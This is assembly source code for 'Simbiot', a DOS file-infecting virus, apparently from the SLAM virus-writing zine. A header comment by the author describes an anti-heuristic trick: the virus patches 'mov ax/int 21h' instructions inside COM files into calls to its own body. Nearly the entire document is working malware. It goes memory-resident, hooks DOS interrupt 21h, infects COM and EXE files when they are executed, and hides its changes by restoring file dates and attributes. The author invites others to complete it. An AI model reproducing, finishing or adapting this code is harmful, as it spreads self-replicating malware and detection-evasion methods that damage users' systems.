;Simbiot virus. Written special for SLAM issue#2.
;It's not completed virus, it's only foundation for real good virus.
;
;Oneday i was reading virus-list of one russian antivirus, and there
;i found description of one interesting virus. Long time I search this
;virus, and when Night Joker connected with me firsts onces i decided to
;write the virus with 'Simbiotic' algorithm of infection.
;
;All parts of this virus is mostly standartized and there are nothing
;interesting for real virusmakers but the virus has one interesting
;part. This part is remarked in detail.
;
;Every virus sets jumping to own body at the firsts bytes of the infecting
;file and it helps to all heuristic analisators found the virus in the file.
;But these jumps we can mask!
;Almost every program have commands like this:
;B8???? mov ax,numbers
;CD21   int 21h
;If we'll be find these bytes and change them to call to body of the virus,
;and if we'll extract back-address from the stack (not need to save address
;in the virus's body) antivirus would have never seek it.
;I was realised this algorithm for COM files...
;If anybody want to complete this, o.k., go on! :)
;
;Death Knight [SLAM]

.model tiny
.code

length	equ finish-main
memory  equ (length+17)/8		;length (in paragraphs+1)*2
off1	equ (4*21h)
off2	equ (4*21h+2)

int21	macro
	call int21h
	endm

	org 0
start: 
main:	call $+3
	pop si
	sub si,3
	push ax bx cx dx si di ds es
	pushf
	mov ax,0ACCEh
	int 21h
	cmp ax,1997h
	jz already
	mov ax,ds
	dec ax
	mov ds,ax
	mov ah,ds:[0]
	cmp ah,'Z'
	jne already
	xor di,di
	mov cx,length
	mov ax,ds:[3]
	sub ax,memory
	mov ds:[3],ax
	mov ax,ds:[12h]
	sub ax,memory
	mov ds:[12h],ax
	mov es,ax
	push cs
	pop ds
	cld
	repz
	movsb
	cli	
	xor ax,ax
	mov ds,ax
	mov ax,ds:[off1]
	mov si,offset handl
	mov es:[si],ax
	mov ax,ds:[off2]
	mov es:[si+2],ax
	mov si,offset newint
        mov ds:[off1],si
        mov ds:[off2],es
	sti
already:popf
	pop es ds di si dx cx bx ax
	add si,offset blocks
	cmp word ptr cs:[si],'ZM'
	jz exesh
	pop di
	push di
	movsw
	movsw
	ret
exesh:	mov dx,ds
	add dx,10h
	mov cx,dx
	add cx,word ptr cs:[si+0eh]
	cli
	mov ss,cx
	mov sp,word ptr cs:[si+10h]
	sti
	add dx,word ptr cs:[si+16h]
	push dx
	push word ptr cs:[si+14h]
	retf

int21h:	pushf
	call dword ptr cs:[handl]
	ret
	db '>SimbioT<'
go_int:	db    0eah
handl:	dd ?
newint:	cmp ax,0ACCEh
	jnz nes1
	mov ax,1997h
	iret
nes1:
	cmp ax,4b00h
	jz hahaha
	jmp go_int
	db '>[SLAM]<'
hahaha:
	push ax bx cx dx si di es ds
	call infec
	pop ds es di si dx cx bx ax
	jmp go_int

infec:	push cs
	pop es
	push si
	mov bx,offset no_inf
	mov di,9			;number=no_inf-1
ggg1:	mov cx,8
ggg2:	push di cx
	add di,bx
	mov si,cx
	add si,dx
	mov ax,word ptr es:[di]
	cmp ax,word ptr ds:[si]
	pop cx di
	jz ennn
	cmp al,'.'
	jz ennn
	loop ggg2
	dec di
	cmp di,0
	jnz ggg1
	pop si
	jmp okk
ennn:	pop si
	ret
alread2:jmp alread
okk:	mov ax,ds
	mov word ptr cs:[attrib1+1],ax	;save filename
	mov word ptr cs:[attrib2+1],dx	;address
	mov ax,4300h
	int21
	mov word ptr cs:[attrib3+1],cx	;save attributes
	xor cx,cx			;set attributes
	mov ax,4301h			
	int21

openn:	mov ax,3D02h			;open a file
	int21				
	mov bx,ax			;copy handler to BX
	push cs
	pop ds
	mov ax,5700h			;get file time & date
	int21
	mov word ptr ds:[time1+1],dx	;save date
	mov word ptr ds:[time2+1],cx	;save time
;------------------------------------------------------------------------------
	call check			;call infection check
	jz alread2
	call comexe			;call com or exe check
	jz exec


 	cmp word ptr cs:[lengg1],61000	;check higer border of com file
	mov byte ptr cs:[offset coex],2
 	jnc alread2

	call com_in
	cmp byte ptr cs:[chh],0
	jz alread2

	jmp nez
exec:	mov ax,word ptr cs:[offset lengg1]
	mov dx,word ptr cs:[offset lengg2]
	mov byte ptr cs:[offset coex],1

	push ax dx
	mov cx,200h
	div cx
	inc ax
	mov di,offset blocks
	cmp ax,[di+4]
	jnz aganx
	cmp dx,[di+2]
aganx:	pop dx ax
	jnz alread3
	jmp nez
alread3:jmp alread2

nez:	mov ax,4202h
	xor cx,cx
	xor dx,dx
	int21
	push cs				;
	mov ah,40h			;saving
	xor dx,dx			;     virus
	mov cx,length			; block
	pop ds				;
	int21				;

	cmp byte ptr cs:[offset coex],2
	jz comme
	mov ax,word ptr cs:[offset lengg1]
	mov dx,word ptr cs:[offset lengg2]
	push ax dx
	add ax,length
	adc dx,0
	mov cx,200h
	div cx
	inc ax
	mov word ptr cs:[di+4],ax
	mov word ptr cs:[di+2],dx
	pop dx ax
	push si
	mov si,[di+8]
	mov cl,4
	shl si,cl
	sub ax,si
	pop si
	sbb dx,0
	mov cx,10h
	div cx
	mov word ptr cs:[di+22],ax
	mov word ptr cs:[di+20],dx
	mov word ptr cs:[di+14],ax
	jmp nes2a
comme:	jmp alread
	mov ax,word ptr cs:[offset lengg1]
	mov byte ptr cs:[offset blocks],0E9h
	sub ax,3
	mov word ptr cs:[offset blocks+1],ax
	
nes2a:	mov ax,4200h
	xor cx,cx
	xor dx,dx
	int21
	push cs
	pop ds
	mov ah,40h
	mov cx,18h+2
	mov dx,offset blocks
	int21
	
;------------------------------------------------------------------------------
alread:	mov ax,5701h			;set saved
time1:	mov dx,0			;date &
time2:	mov cx,0			;time
	dec cx
	int21
	mov ah,3Eh			;file closing
	int21
	mov ax,4301h
attrib1:mov dx,0			;
	mov ds,dx
attrib2:mov dx,0
attrib3:mov cx,0
	int21
no_no:	ret



check:	mov ax,4202h
	push ax
	xor cx,cx
	xor dx,dx
	int21
	mov word ptr cs:[lengg1],ax
	mov word ptr cs:[lengg2],dx
	cmp ax,2048			;check lower border of any type file
	mov cx,dx
	mov dx,ax
	pop ax
	jnc trrr
	mov al,55
	jmp laaa
trrr:	sub dx,2
	sub al,2
	int21
	push cs
	pop ds
	mov dx,offset blocks
	mov cx,2
	mov ah,3Fh
	int21
	mov ax,word ptr ds:[blocks]
	add al,ah
laaa:	cmp al,55
	ret

comexe:	xor cx,cx
	xor dx,dx
	mov ax,4200h
	int21
	push cs
	pop ds
	mov dx,offset blocks
	mov ah,3Fh
	mov cx,18h+3
	int21
	cmp word ptr cs:[blocks],'ZM'
	ret

com_in:	push di si				;Here's begin cool routine
	mov byte ptr cs:[chh],0			;simbiotic checker to 0
	xor dx,dx				;position to the
	mov ax,4200h				;start of the file
	xor cx,cx				;
	int21					;
	mov di,0-200h				;initial of block's counter
	push cs cs				;
	pop ds es				;
label1:	add di,200h				;adding read block
	mov word ptr cs:[offset itsall2+1],di	;saving it in seek pointer
	mov dx,offset sbm			;buffer for reading
	push dx					;save address of this buffer
	mov ah,3Fh				;reading
	mov cx,200h				;200h bytes from
	int21					;infecting file
	pop si					;remind buffer from the stack
	push ax					;save deal of readen bytes
	sub ax,6				;
	add si,3				;
	push ax					;this is number of loops
	pop cx					;for finding
labb1:	cmp word ptr cs:[si],21cdH		;it find 'int 21h' instruction
	jnz labb2				;in readden block
	cmp byte ptr ds:[si-3],0B8h		;it see for instruction 'mov ax,????'
	jz itsall				;if found - go to infection
	cmp byte ptr ds:[si-2],0B4h		;it see for instruction 'mov ah,??'
	jz itsall				;if found - go to infection
labb2:	inc si					;
	loop labb1				;
	pop ax					;remind deal of readen bytes
	cmp ax,200h				;
	jz label1				;if not 200h then
	pop si di				;return without
	ret					;infection :(

itsall:	pushf					;
	push ax					;
itsall2:mov dx,0				;sets pointer to the start
	xor cx,cx				;of the found block
	mov ax,4200h				;
	int21					;
	mov dx,ax				;calculating
	mov ax,word ptr cs:[lengg1]		;call-address
	sub ax,dx				;
	pop dx					;
	sub ax,dx				;
	sub ax,6				;
	mov dx,word ptr cs:[si]			;saving
	mov word ptr cs:[offset blocks],dx	;four
	mov dx,word ptr cs:[si+2]		;original
	mov word ptr cs:[offset blocks+2],dx	;bytes
	mov byte ptr cs:[si],'è'		;setting
	mov word ptr cs:[si+1],ax		;'Call'command
	popf					;
	pop cx					;saving
	mov ax,4000h				;infected
	mov dx,offset sbm			;block
	push cs					;to the
	pop ds					;file
	int21					;
	pop si di				;
	mov byte ptr cs:[chh],1			;o.k. i did it!
	ret					;



blocks:	db 0cdh,21h
	db 90h
	db 18h dup(?)
no_inf	db 'INCOAIWEWI'
	db 55
	db 0
finish:
coex:	db ?
lengg1:	dw ?
lengg2:	dw ?
ogy:	db ?
numm:	dw ?
chh:	db ?
sbm:	dw ?
	end start